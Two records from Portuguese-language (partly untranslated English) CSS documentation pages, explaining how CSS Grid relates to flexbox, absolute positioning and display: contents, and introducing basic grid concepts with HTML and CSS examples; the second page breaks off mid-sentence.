{"title":"Relationship of grid layout to other layout methods - CSS","text":"Relationship of grid layout to other layout methods\n===================================================\n\nO CSS Grid Layout foi projetado para funcionar junto com outras partes do CSS, como parte de um sistema completo para fazer o layout. Neste guia, explicarei como uma grade se encaixa com outras técnicas que você já pode estar usando.\n\nGrid e flexbox\n--------------\n\nA diferença básica entre CSS Grid Layout e CSS Flexbox Layout é que o flexbox foi projetado para layout em uma dimensão - uma linha ou uma coluna. A grade foi projetada para layout bidimensional - linhas e colunas ao mesmo tempo. As duas especificações compartilham alguns recursos comuns, e se você já aprendeu a usar o flexbox, as semelhanças devem ajudá-lo a se familiarizar com o Grid.\n\n### Layout unidimensional versus bidimensional\n\nUm exemplo simples pode demonstrar a diferença entre layouts unidimensionais e bidimensionais.\n\nNeste primeiro exemplo, estou usando o flexbox para criar um conjunto de caixas. Eu tenho cinco itens filhos no meu contêiner e dei valores de propriedades flexíveis para que eles possam crescer e encolher de uma base flexível de 200 pixels.\n\nEu também defini a propriedade `flex-wrap` para agrupar, de modo que, se o espaço no contêiner ficar muito estreito para manter a base flexível, os itens serão agrupados em uma nova linha.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n  <div>Four</div>\n  <div>Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: flex;\n  flex-wrap: wrap;\n}\n.wrapper > div {\n  flex: 1 1 200px;\n}\n```\n\n\nNa imagem, você pode ver que dois itens foram envolvidos em uma nova linha. Esses itens estão compartilhando o espaço disponível e não se alinhando abaixo dos itens acima. Isso ocorre porque quando você envolve itens flexíveis, cada nova linha (ou coluna ao trabalhar por coluna) se torna um novo contêiner flexível. Distribuição de espaço acontece em toda a linha.\n\nUma questão comum, então, é como alinhar esses itens. É aqui que você deseja um método de layout bidimensional: Você quer controlar o alinhamento por linha e coluna, e é aí que a grade entra.\n\n### The same layout with CSS grids\n\nNeste próximo exemplo, eu crio o mesmo layout usando Grid. Desta vez, temos três faixas de coluna 1fr. Não precisamos definir nada nos itens em si; eles se estabelecerão em cada célula da grade criada. Como você pode ver, eles ficam em uma grade rígida, alinhando-se em linhas e colunas. Com cinco itens, temos uma lacuna no final da segunda linha.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n  <div>Four</div>\n  <div>Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n}\n```\n\n\nA simple question to ask yourself when deciding between grid or flexbox is:\n\n* do I only need to control the layout by row ***or*** column – use a flexbox\n* do I need to control the layout by row ***and*** column – use a grid\n### Content out or layout in?\n\nIn addition to the one-dimensional versus two-dimensional distinction, there is another way to decide if you should use flexbox or grid for a layout. Flexbox works from the content out. An ideal use case for flexbox is when you have a set of items and want to space them out evenly in a container. You let the size of the content decide how much individual space each item takes up. If the items wrap onto a new line, they will work out their spacing based on their size and the available space *on that line*.\n\nGrid works from the layout in. When you use CSS Grid Layout you create a layout and then you place items into it, or you allow the auto-placement rules to place the items into the grid cells according to that strict grid. It is possible to create tracks that respond to the size of the content, however, they will also change the entire track.\n\nIf you are using flexbox and find yourself disabling some of the flexibility, you probably need to use CSS Grid Layout. An example would be if you are setting a percentage width on a flex item to make it line up with other items in a row above. In that case, a grid is likely to be a better choice.\n\n### Box alignment\n\nThe feature of flexbox that was most exciting to many of us was that it gave us proper alignment control for the first time. It made it easy to center a box on the page. Flex items can stretch to the height of the flex container, meaning that equal height columns were possible. These were things we have wanted to do for a very long time, and have come up with all kinds of hacks to at least create the visual effect of.\n\nThe alignment properties from the flexbox specification have been added to a new specification called Box Alignment Level 3. This means that they can be used in other specifications, including Grid Layout. In the future, they may well apply to other layout methods as well.\n\nIn a later guide in this series, I'll be taking a proper look at Box Alignment and how it works in Grid Layout. For now, here is a comparison between simple examples of flexbox and grid.\n\nIn the first example, which uses flexbox, I have a container with three items inside. The wrapper `min-height` is set, so it defines the height of the flex container. I have set `align-items` on the flex container to `flex-end` so the items will line up at the end of the flex container. I have also set the `align-self` property on `box1` so it will override the default and stretch to the height of the container and on `box2` so it aligns to the start of the flex container.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">Three</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: flex;\n  align-items: flex-end;\n  min-height: 200px;\n}\n.box1 {\n  align-self: stretch;\n}\n.box2 {\n  align-self: flex-start;\n}\n```\n\n### Alignment in CSS Grids\n\nThis second example uses a grid to create the same layout. This time we are using the box alignment properties as they apply to a grid layout. So we align to `start` and `end` rather than `flex-start` and `flex-end`. In the case of a grid layout, we are aligning the items inside their grid area. In this case that is a single grid cell, but it could be an area made up of several grid cells.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">Three</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  align-items: end;\n  grid-auto-rows: 200px;\n}\n.box1 {\n  align-self: stretch;\n}\n.box2 {\n  align-self: start;\n}\n```\n\n### The `fr` unit and `flex-basis`\n\nWe have already seen how the `fr` unit works to assign a proportion of available space in the grid container to our grid tracks. The `fr` unit, when combined with the `minmax()` (en-US) function can give us very similar behavior to the `flex` properties in flexbox while still enabling the creation of a layout in two dimensions.\n\nIf we look back at the example where I demonstrated the difference between one and two-dimensional layouts, you can see there is a difference between the way of the two layouts work responsively. With the flex layout, if we drag our window wider and smaller, the flexbox does a nice job of adjusting the number of items in each row according to the available space. If we have a lot of space all five items can fit on one row. If we have a very narrow container we may only have space for one.\n\nIn comparison, the grid version always has three column tracks. The tracks themselves will grow and shrink, but there are always three since we asked for three when defining our grid.\n\n#### Auto-filling grid tracks\n\nWe can create a similar effect to flexbox, while still keeping the content arranged in strict rows and columns, by creating our track listing using repeat notation and the `auto-fill` and `auto-fit` properties.\n\nIn this next example, I have used the `auto-fill` keyword in place of an integer in the repeat notation and set the track listing to 200 pixels. This means that grid will create as many 200 pixels column tracks as will fit in the container.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, 200px);\n}\n```\n\n### A flexible number of tracks\n\nThis isn't quite the same as flexbox. In the flexbox example, the items are larger than the 200 pixel basis before wrapping. We can achieve the same in grid by combining `auto-fill` and the `minmax()` (en-US) function. In this next example, I create auto filled tracks with `minmax`. I want my tracks to be a minimum of 200 pixels, so I set the maximum to be `1fr`. Once the browser has worked out how many times 200 pixels will fit into the container–also taking account of grid gaps–it will treat the `1fr` maximum as an instruction to share out the remaining space between the items.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));\n}\n```\n\n\nWe now have the ability to create a grid with a flexible number of flexible tracks, but see items laid out on the grid aligned by rows and columns at the same time.\n\nGrid and absolutely positioned elements\n---------------------------------------\n\nGrid interacts with absolutely positioned elements, which can be useful if you want to position an item inside a grid or grid area. The specification defines the behavior when a grid container is a containing block and a parent of the absolutely positioned item.\n\n### A grid container as containing block\n\nTo make the grid container a containing block you need to add the position property to the container with a value of relative, just as you would make a containing block for any other absolutely positioned items. Once you have done this, if you give a grid item `position: absolute` it will take as its containing block the grid container or, if the item also has a grid position, the area of the grid it is placed into.\n\nIn the below example I have a wrapper containing four child items. Item three is absolutely positioned and also placed on the grid using line-based placement. The grid container has `position: relative` and so becomes the positioning context of this item.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">\n    This block is absolutely positioned. In this example the grid container is\n    the containing block and so the absolute positioning offset values are\n    calculated in from the outer edges of the area it has been placed into.\n  </div>\n  <div class=\"box4\">Four</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(4, 1fr);\n  grid-auto-rows: 200px;\n  grid-gap: 20px;\n  position: relative;\n}\n.box3 {\n  grid-column-start: 2;\n  grid-column-end: 4;\n  grid-row-start: 1;\n  grid-row-end: 3;\n  position: absolute;\n  top: 40px;\n  left: 40px;\n}\n```\n\n\nYou can see that the item is taking the area from grid row line 2 to 4, and starting after line 1. Then it is offset in that area using the top and left properties. However, it has been taken out of flow as is usually for absolutely positioned items and so the auto-placement rules now place items into the same space. The item also doesn't cause the additional row to be created to span to row line 3.\n\nIf we remove `position: absolute` from the rules for `.box3` you can see how it would display without the positioning.\n\n### A grid container as parent\n\nIf the absolutely positioned child has a grid container as a parent but that container does not create a new positioning context, then it is taken out of flow as in the previous example. The positioning context will be whatever element creates a positioning context as is common to other layout methods. In our case, if we remove `position: relative` from the wrapper above, positioning context is from the viewport, as shown in this image.\n\n![Image of grid container as parent](/pt-BR/docs/Web/CSS/CSS_grid_layout/Relationship_of_grid_layout_with_other_layout_methods/2_abspos_example.png)\n\nOnce again the item no longer participates in the grid layout in terms of sizing or when other items are auto-placed.\n\n### With a grid area as the parent\n\nIf the absolutely positioned item is nested inside a grid area then you can create a positioning context on that area. In the below example we have our grid as before but this time I have nested an item inside `.box3` of the grid.\n\nI have given `.box3` position relative and then positioned the sub-item with the offset properties. In this case, the positioning context is the grid area.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">\n    Three\n    <div class=\"abspos\">\n      This block is absolutely positioned. In this example the grid area is the\n      containing block and so the absolute positioning offset values are\n      calculated in from the outer edges of the grid area.\n    </div>\n  </div>\n  <div class=\"box4\">Four</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(4, 1fr);\n  grid-auto-rows: 200px;\n  grid-gap: 20px;\n}\n.box3 {\n  grid-column-start: 2;\n  grid-column-end: 4;\n  grid-row-start: 1;\n  grid-row-end: 3;\n  position: relative;\n}\n.abspos {\n  position: absolute;\n  top: 40px;\n  left: 40px;\n  background-color: rgba(255, 255, 255, 0.5);\n  border: 1px solid rgba(0, 0, 0, 0.5);\n  color: #000;\n  padding: 10px;\n}\n```\n\nGrid and `display: contents`\n----------------------------\n\nA final interaction with another layout specification that is worth noting is the interaction between CSS Grid Layout and `display: contents`. The `contents` value of the display property is a new value that is described in the Display specification as follows:\n\n> \n> \"The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.\"\n> \n> \n> \n\nIf you set an item to `display: contents` the box it would normally create disappears, and the boxes of the child elements appear as if they have risen up a level. This means that children of a grid item can become grid items. Sound odd? Here is a simple example. In the following markup, I have a grid and the first item on the grid is set to span all three column tracks. It contains three nested items. As these items are not direct children, they don't become part of the grid layout and so display using regular block layout.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.box {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box box1\">\n    <div class=\"nested\">a</div>\n    <div class=\"nested\">b</div>\n    <div class=\"nested\">c</div>\n  </div>\n  <div class=\"box box2\">Two</div>\n  <div class=\"box box3\">Three</div>\n  <div class=\"box box4\">Four</div>\n  <div class=\"box box5\">Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-auto-rows: minmax(100px, auto);\n}\n.box1 {\n  grid-column-start: 1;\n  grid-column-end: 4;\n}\n```\n\n\nIf I now add `display: contents` to the rules for `box1`, the box for that item vanishes and the sub-items now become grid items and lay themselves out using the auto-placement rules.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.box {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box box1\">\n    <div class=\"nested\">a</div>\n    <div class=\"nested\">b</div>\n    <div class=\"nested\">c</div>\n  </div>\n  <div class=\"box box2\">Two</div>\n  <div class=\"box box3\">Three</div>\n  <div class=\"box box4\">Four</div>\n  <div class=\"box box5\">Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-auto-rows: minmax(100px, auto);\n}\n.box1 {\n  grid-column-start: 1;\n  grid-column-end: 4;\n  display: contents;\n}\n```\n\n\nThis can be a way to get items nested into the grid to act as if they are part of the grid, and is a way around some of the issues that would be solved by subgrids once they are implemented. You can also use `display: contents` in a similar way with flexbox to enable nested items to become flex items.\n\nAs you can see from this guide, CSS Grid Layout is just one part of your toolkit. Don't be afraid to mix it with other methods of doing layout to get the different effects you need.\n\nSee Also\n--------\n\n* Flexbox Guides\n* Multiple-column Layout Guides (en-US)\n\n1. **CSS**\n2. **CSS Reference**\n3. CSS Grid Layout\n4. **Guides**\n    1. Basics concepts of grid layout\n    2. Relationship to other layout methods\n    3. Line-based placement (en-US)\n    4. Grid template areas (en-US)\n    5. Layout using named grid lines (en-US)\n    6. Auto-placement in grid layout (en-US)\n    7. Box alignment in grid layout (en-US)\n    8. Grids, logical values, and writing modes (en-US)\n    9. CSS Grid Layout and Accessibility (en-US)\n    10. CSS Grid Layout and Progressive Enhancement (en-US)\n    11. Realizing common layouts using grids (en-US)\n5. **Properties**\n    1. grid\n    2. grid-area (en-US)\n    3. grid-auto-columns (en-US)\n    4. grid-auto-flow\n    5. grid-auto-rows (en-US)\n    6. grid-column (en-US)\n    7. grid-column-end (en-US)\n    8. grid-column-gap (en-US)\n    9. grid-column-start (en-US)\n    10. grid-gap (en-US)\n    11. grid-row (en-US)\n    12. grid-row-end (en-US)\n    13. grid-row-gap (en-US)\n    14. grid-row-start (en-US)\n    15. grid-template (en-US)\n    16. grid-template-areas (en-US)\n    17. grid-template-columns\n    18. grid-template-rows\n6. **Glossary**\n    1. Grid\n    2. Grid lines (en-US)\n    3. Grid tracks (en-US)\n    4. Grid cell (en-US)\n    5. Grid areas\n    6. Gutters (en-US)\n    7. Grid Axis (en-US)\n    8. Grid row (en-US)\n    9. Grid column (en-US)"}
{"title":"Conceitos básicos de Grid Layout - CSS","text":"Conceitos básicos de Grid Layout\n================================\n\nCSS Grid Layout introduz um sistema bi-dimensional de grid (literalmente \"grades\") para CSS. Grids podem ser usados para o design de layouts de grandes seções de uma webpage, assim como de pequenos elementos de interface. Esse artigo apresenta o CSS Grid Layout e a terminologia que é parte da especificação CSS Grid Layout Level 1. As funcionalidades demonstradas neste resumo serão posteriormente explicadas em maiores detalhes nas demais seções desse guia.\n\nO que é grid?\n-------------\n\nGrid é uma malha formada pela interseção de um conjunto de linhas horizontais e um conjunto de linhas verticais – um dos conjuntos define colunas e outro linhas. Dentro de um grid, respeitando-se a configuração criada pelas suas linhas, pode-se inserir elementos da marcação. As CSS grid layout preveem as seguintes funcionalidades:\n\n### Dimensões fixas ou flexíveis\n\nVocê pode criar grids com dimensões fixas – por exemplo: definindo dimensões em pixels. Ou criar grids com dimensões flexíveis definindo-as com uso de porcentagem ou da nova unidade CSS `fr` criada para esse propósito.\n\n### Posicionamento de itens\n\nVocê pode posicionar com precisão itens de uma página usando o número que define uma linha do grid, usando nomes ou ainda fazendo referência a uma determinada região do grid. Existe ainda um algorítmo de controle do posicionamento de itens da página que não possuem uma posição capaz de ser explícitamente definida no grid.\n\n### Criação de grids adicionais\n\nAlém da possibilidade de se criar um grid inicial para o layout a Especificação prevê também a possibilidade de se adicionar linhas e colunas para layoutar conteúdos adicionados fora do grid inicial. Funcionalidades tal como adicionar \"tantas colunas quanto necessárias em um grid container existente\" são previstas nas Especificações.\n\n### Alinhamento\n\nEstão previstas funcionalidades de alinhamento que possibilitam controlar o alinhamento dos itens de uma página posicionados no grid e também o alinhamento do próprio grid como um todo.\n\n### Controle sobre conteúdos sobrepostos\n\nEm uma célula do grid podem ser posicionados mais de um item da página e também é possível que se defina sobreposição parcial de áreas. Esse controle de layers é feito com uso de `z-index` (en-US).\n\nCSS Grid Layout é uma poderosa especificação que se for combinada com outras partes do CSS, tal como flexbox, possibilita a criação de layouts que até então eram impossíveis de serem criados com CSS. Tudo começa com a criação de um grid dentro de um **grid container**.\n\nGrid container\n--------------\n\nCria-se um *grid container* com as declarações CSS `display: grid` ou `display: inline-grid` para um elemento da marcação. Assim declarando, todos os elementos *filhos diretos* daquele container se transformam em *grid items*.\n\nNo exemplo mostrado a seguir um elemento div container ao qual foi atribuída a classe wrapper contém cinco elementos filhos.\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n  <div>Four</div>\n  <div>Five</div>\n</div>\n```\n\n\nFaçamos de `.wrapper` um grid container.\n\n\n```css\n.wrapper {\n  display: grid;\n}\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\nTodos os elementos filhos diretos agora são grid items. Observando a renderização em um navegador web você não notará nenhuma diferença em relação a renderização já conhecida de um elemento container com seus cinco elementos filhos, pois no exemplo foi criado um grid constítuido de uma única coluna para acomodar os elementos filhos. A partir desse ponto você pode achar mais útil trabalhar no *Firefox Developer Edition*, que possui o Grid Inspector disponÍvel como parte das Ferramentas do desenvolvedor. Se você ver este exemplo no Firefox e inspecionar o Grid, você verá um pequeno ícone ao lado do valor Grid (na propiedade *display* do elemento container). Clique nele e o Grid neste elemento será sobreposto na janela do navegador.\n\n![Using the Grid Highlighter in DevTools to view a grid](/pt-BR/docs/Web/CSS/CSS_grid_layout/Basic_concepts_of_grid_layout/1-grid-inspector.png)\n\nÀ medida que você aprende e depois trabalha com *CSS Grid Layout*, esta ferramenta lhe dará uma idéia melhor do que está acontecendo com suas *Grids* visualmente.\n\nSe nós queremos começar a fazer isso parecer mais com os *Grids layouts* , nós precisamos adicionar *collumn tracks*.\n\nGrid Tracks\n-----------\n\nNós definimos linhas e colunas no nosso grid com as propriedades `grid-template-columns` e `grid-template-rows`. Isso define o grid tracks. Um *grid track* é o espaço entre duas linhas em um grid. Na imagem abaixo você pode ver um track highlighter – o track na primeira linha do nosso grid.\n\n![](/pt-BR/docs/Web/CSS/CSS_grid_layout/Basic_concepts_of_grid_layout/1_grid_track.png)\n\nPosso adicionar ao exemplo anterior a propriedade `grid-template-columns`, depois definir o tamanho da column tracks.\n\nAgora criei um grid com três colunas fixas de 200px. Os itens filhos serão dispostos nessa grade, um em cada célula da grade.\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n  <div>Four</div>\n  <div>Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 200px 200px 200px;\n}\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n### A unidade `fr`\n\nNas propriedades de grid podem ser utilizadas quaisquer unidades de medida. Para nos ajudar a criar layouts flexíveis utilizando o grid, foi criada uma unidade nova. A unidade `fr` representa uma fração do espaço disponível no container do grid. A próxima definição de grid cria três espaços com tamanhos iguais que aumentam e diminuem de acordo com o espaço disponível.\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n  <div>Four</div>\n  <div>Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr;\n}\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\nNo próximo exemplo, criamos um container `.wrapper com uma coluna de 2fr` e duas colunas de `1fr`. Portanto, o espaço disponível será dividido em quatro partes. Duas partes serão para a primeira coluna e uma parte para cada um das próximas duas colunas.\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 2fr 1fr 1fr;\n}\n```\n\n\nNesse exemplo final, nós misturamos unidades de medida fixa com as de fração. A primeira coluna tem `500px`, que será fixa. O espaço disponível restante será dividido em três partes, sendo uma parte para a segunda coluna e mais duas partes para a terceira coluna.\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 500px 1fr 2fr;\n}\n```\n\n### Track listings com a notação `repeat()`\n\nGrids grandes, com muitas tracks podem usar a notação `repeat()` para repetir todas ou uma seção de track listing. Por exemplo a definição de grid a seguir:\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr;\n}\n```\n\n\nTambém pode ser escrita como:\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n}\n```\n\n\nA notação repeat ( ) pode ser usada apenas para uma parte da track listing. No próximo exemplo estou criando um grid com uma coluna inicial de 20-pixels, repetindo uma sessão de 6 colunas de `1fr`, e por fim uma coluna de 20-pixels.\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 20px repeat(6, 1fr) 20px;\n}\n```\n\n\nA notação Repeat tem como parâmetro um track listing, sendo assim você pode usá-lo para criar um padrão de repetição de tracks. Neste exemplo meu grid terá 10 tracks, uma trilha de `1fr` seguida por uma trilha de `2fr` , repetida cinco vezes.\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(5, 1fr 2fr);\n}\n```\n\n### O grid implícito e explícito\n\nAo criar nosso grid de exempo definimos nossa coluna de trilhas com a propriedade `grid-template-columns`, mas adicionalmente deixamos o grid criar as linhas necessárias para qualquer outro conteúdo. Estas linhas são criadas no grid implícito. O grid explícito é constituído por linhas e colunas que você define com `grid-template-columns` e `grid-template-rows`. Se você posicionar algo fora do grid definido, ou caso devido à quantidado de conteúdo mais trilhas de grid sejam necessárias, o grid então cria linhas e colunas no grid implícito. Estas trilhas serão seu tamanho definido automaticamente por padrão, resultando em seu tamanho ser basedo no conteúdo que elas contém.\n\nVocê também pode definir o tamanho do conjunto para trilhas criadas na grid implícita com as propriedades `grid-auto-rows` (en-US) e `grid-auto-columns` (en-US).\n\nNo exemplo abaixo usamos `grid-auto-rows` para garantir que as trilhas criadas na grid implícita tem 200 pixels de altura.\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n  <div>Four</div>\n  <div>Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-auto-rows: 200px;\n}\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n### Track sizing and `minmax()`\n\nQuando criando um grid explícito ou definindo o tamanho para as colunas e linha serem criadas automáticamente podemos querer dar um tamanho minimo para os tracks, mas assegure que eles expandam para o tamanho necessário do conteúdo adicionado. Por exemplo eu gostaria que as minhas linhas nunca colapsem para um tamanho menor que 100 pixels, mas se o meu conteúdo aumentar até 300 pixels de altura eu gostaria que a linha aumentasse para essa mesma altura.\n\nGrid tem uma solução para isso com a função `minmax()` (en-US). No próximo exemplo estou usando `minmax()` no valor de `grid-auto-rows` (en-US). Automaticamente as linhas criadas terão uma altura mínima de 100 pixels, e a máxima de `auto`. Usar `auto` significa que o tamanho vai olhar para o conteúdo e, assim, esticar para que a linha tenha o espaço necessário.\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-auto-rows: minmax(100px, auto);\n}\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>\n    Two\n    <p>I have some more content in.</p>\n\n    <p>This makes me taller than 100 pixels.</p>\n  </div>\n  <div>Three</div>\n  <div>Four</div>\n  <div>Five</div>\n</div>\n```\n\nLinhas de grid\n--------------\n\nDevemos observar que quando definimos um grid definimos as trilhas do grid, não as linhas. O grid então nos devolve linhas numeradas para usarmos ao posicionar itens. Em nossa grid de 3 colunas por duas linhas, temos quatro linhas de colunas.\n\n![Diagram showing numbered grid lines.](/pt-BR/docs/Web/CSS/CSS_grid_layout/Basic_concepts_of_grid_layout/1_diagram_numbered_grid_lines.png)\n\nLinhas são numeradas de acordo a forma de escrita do documento. Em uma linguagem da esquerda para a direita, a linha 1 está à esquerda do grid. Em uma linguagem da direita para a esquerda, ela está no lado direito do grid. Linhas também podem ser nomeadas, e veremos como fazer isso em um guia posterior nessa série.\n\n### Posicionando itens contra linhas\n\nExploraremos posicionamento de itens baseado em linhas em um artigo posterior. O exemplo a seguir mostra como fazer isso de forma simples. Quando posicionar um item, focamos a 